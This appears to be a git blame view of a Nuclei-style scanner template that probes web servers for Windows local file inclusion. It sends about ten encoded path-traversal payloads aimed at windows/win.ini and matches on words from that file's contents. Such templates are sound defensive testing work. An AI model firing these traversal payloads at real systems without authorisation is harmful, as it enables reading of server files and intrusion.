2021-08-07 17:32:17 +00:00
|
|
|
id: generic-windows-lfi
|
2021-07-26 23:12:26 +00:00
|
|
|
|
|
|
|
info:
|
2021-08-07 17:32:17 +00:00
|
|
|
name: Generic Windows based LFI Test
|
|
|
|
author: mesaglio,sushantkamble
|
2021-07-26 23:12:26 +00:00
|
|
|
severity: high
|
2021-08-07 17:34:27 +00:00
|
|
|
description: Searches for /windows/win.ini on passed URLs
|
2021-08-11 07:38:11 +00:00
|
|
|
tags: azure,windows,lfi,generic
|
2021-07-26 23:12:26 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
2021-07-31 17:38:46 +00:00
|
|
|
- "{{BaseURL}}/..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5cwindows/win.ini"
|
|
|
|
- "{{BaseURL}}/./../../../../../../../../../../windows/win.ini"
|
|
|
|
- "{{BaseURL}}/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/windows/win.ini"
|
|
|
|
- "{{BaseURL}}/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./windows/win.ini"
|
|
|
|
- "{{BaseURL}}/%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2ewindows/win.ini"
|
|
|
|
- "{{BaseURL}}/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows/win.ini"
|
|
|
|
- "{{BaseURL}}/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini"
|
2021-08-07 17:32:17 +00:00
|
|
|
- "{{BaseURL}}/?redirect=..%2f..%2f..%2f..%2fwindows/win.ini"
|
|
|
|
- "{{BaseURL}}/?page=..%2f..%2f..%2f..%2f..%2fwindows/win.ini"
|
|
|
|
- "{{BaseURL}}/?url=..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini"
|
2021-07-26 23:12:26 +00:00
|
|
|
|
2021-09-02 11:59:10 +00:00
|
|
|
stop-at-first-match: true
|
2021-07-26 23:12:26 +00:00
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
2021-07-31 17:38:46 +00:00
|
|
|
- "bit app support"
|
|
|
|
- "fonts"
|
|
|
|
- "extensions"
|
|
|
|
condition: and
|
2021-08-11 07:38:11 +00:00
|
|
|
part: body
|